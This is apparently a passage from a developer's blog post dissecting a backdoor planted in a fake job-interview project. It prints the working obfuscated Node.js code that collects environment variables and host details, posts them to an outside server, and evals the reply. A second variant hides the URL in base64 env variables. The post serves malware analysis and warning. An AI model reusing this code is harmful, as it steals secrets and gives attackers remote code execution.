&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subModuleVersion&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;userInfo&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;macAddresses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getMacAddress&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/../g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;72657175697265&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6178696f73&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;706f7374&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;68747470733A2F2F6C6F672D7365727665722D6C6F7661742E76657263656C2E6170702F6170692F6970636865636B2F373033&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;68656164657273&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;782d7365637265742d686561646572&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;736563726574&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;7468656e&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]]](&lt;/span&gt;&lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]]:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]]:&lt;/span&gt; &lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="nx"&gt;hl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]]]((&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Breakdown: How the Backdoor Works
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Step 1: It collects sensitive host metadata and environment variables using the os module and process.env. Using the &lt;code&gt;os&lt;/code&gt; module it extracts the user's MAC addresses, username etc, and using &lt;code&gt;process.env&lt;/code&gt; gives them access to all the private information available to the NodeJS application.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Step 2: Obfuscate the attack. One clever piece of the attack was how it obscured the actual URL used for data exfiltration. Instead of hardcoding it, the code used obfuscated hex strings that are decoded at runtime using a function like this:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/../g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using this technique the attacker hides what is actually in the &lt;code&gt;hl&lt;/code&gt; array.&lt;/p&gt;

&lt;p&gt;Here’s what the hl array resolves to when decoded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="c1"&gt;// 0. g('72657175697265'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 1. g('6178696f73'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 2. g('706f7374'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;post&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 3. g('68747470733A2F2F6C6FD7...702F6170692F6970636B2F373033'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://log-server-lovat.vercel.app/api/ipcheck/703&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 4. g('68656164657273'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;headers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 5. g('782d7365637265742d686561646572'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;x-secret-header&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 6. g('736563726574'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;secret&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// 7. g('7468656e'):&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;then&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Step 3: Now if we substitute the actual values from the hl array into the exported function, it becomes clear what the attacker is doing:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;post&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://log-server-lovat.vercel.app/api/ipcheck/703&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;x-secret-header&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;secret&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;})&lt;/span&gt;
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;then&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]((&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can see that first the &lt;code&gt;axios&lt;/code&gt; package is imported which is a popular library for making HTTP requests. Then a &lt;code&gt;post&lt;/code&gt; request is made the obfuscated URL &lt;code&gt;https://log-server-lovat.vercel.app/api/ipcheck/703&lt;/code&gt; in &lt;code&gt;hl[3]&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Step 4: Remote Code Execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The final part of the chain is the most dangerous. The attacker uses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means that whatever response the server sends back (r.data) will be evaluated and executed as JavaScript inside the victim’s Node.js environment.&lt;/p&gt;

&lt;p&gt;If the attacker returns a payload that installs malware, opens a reverse shell, or performs lateral movement, it will execute with the same permissions as the current process. This is a classic example of Remote Code Execution (RCE), and is especially dangerous because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It bypasses most static detection tools due to obfuscation.&lt;/li&gt;
&lt;li&gt;It allows post-infection payloads to change over time. The attacker can now execute any code they control.&lt;/li&gt;
&lt;li&gt;It executes code as part of what appears to be a legitimate module.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is &lt;strong&gt;full-blown remote code execution (RCE)&lt;/strong&gt;. The attacker could run arbitrary scripts, install malware, or open reverse shells.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Stealth Backdoor
&lt;/h3&gt;

&lt;p&gt;The attacker now uses a more direct approach without NPM. They simply put the backdoor code inside the test project: &lt;a href="https://bitbucket.org/web3_space/novax/src/main/" rel="noopener noreferrer"&gt;NovaX&lt;/a&gt;. This appears to be an older tactic they used to use in other projects under the same username on BitBucket, which they seem to have recreated (deleted the project and recreate the same project with identical name and code to make it seem like it's a new project) and probably going to be using again.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: auth/controllers/userController.js&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;.....&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;packages&lt;/span&gt;
&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dotenv&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;__dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../config/.config.env&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;.....&lt;/span&gt;&lt;span class="nx"&gt;many&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;
&lt;span class="c1"&gt;//Get Cookie&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getCookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;asyncErrorHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEV_API_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEV_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DEV_SECRET_VALUE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:{[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}})).&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;span class="p"&gt;.....&lt;/span&gt;&lt;span class="nx"&gt;more&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;File: auth/config/.config.env&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;DEV_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"aHR0cHM6Ly9hcGkubnBvaW50LmlvLzE0ODk4NDcyOWUxMzg0Y2JlMjEy"&lt;/span&gt;
&lt;span class="nv"&gt;DEV_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"eC1zZWNyZXQta2V5"&lt;/span&gt;
&lt;span class="nv"&gt;DEV_SECRET_VALUE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Xw=="&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Summary of what changed:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;NPM dependency no longer used&lt;/li&gt;
&lt;li&gt;Payload embedded directly in source&lt;/li&gt;
&lt;li&gt;Less obfuscation, but still effective&lt;/li&gt;
&lt;li&gt;Environment variables used to conceal malicious URL and headers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This tactic increases stealth: because the backdoor is no longer inside a published package, tools like &lt;code&gt;npm audit&lt;/code&gt; can’t catch it. Instead, it relies on developers overlooking a suspicious-looking environment variable and trusting the rest of the repo structure.&lt;/p&gt;

&lt;p&gt;While it does the same as NPM package backdoor with less obfuscation, it is still enough to fool unsuspecting and inexperienced programmers. I won’t go into the full breakdown again, as it mirrors the earlier backdoor closely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Social Engineering: The Fake LinkedIn Profile
&lt;/h2&gt;

&lt;p&gt;The LinkedIn profile:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Had a job history going back 20+ years.&lt;/li&gt;
&lt;li&gt;Included fake high-profile titles like "Angel Investor at Binance" and many other positions at big tech companies to appear legit.&lt;/li&gt;
&lt;li&gt;Had no recent public activity (likes, comments, posts) in the last 10 years—a definite red flag, but one that can often be overlooked.&lt;/li&gt;
&lt;li&gt;Used a professional-sounding name and headshot (e.g., "Michael McCarthy")&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After I grew suspicious, the user appeared to have blocked me and deleted the entire conversation. I later realized the profile had likely been reported and banned, which caused the messages to disappear from the UI—but I was still able to access it using the URL from the initial LinkedIn message notification email.&lt;/p&gt;




&lt;h2&gt;
  
  
  Could the Slack Group Have Been Connected?
&lt;/h2&gt;

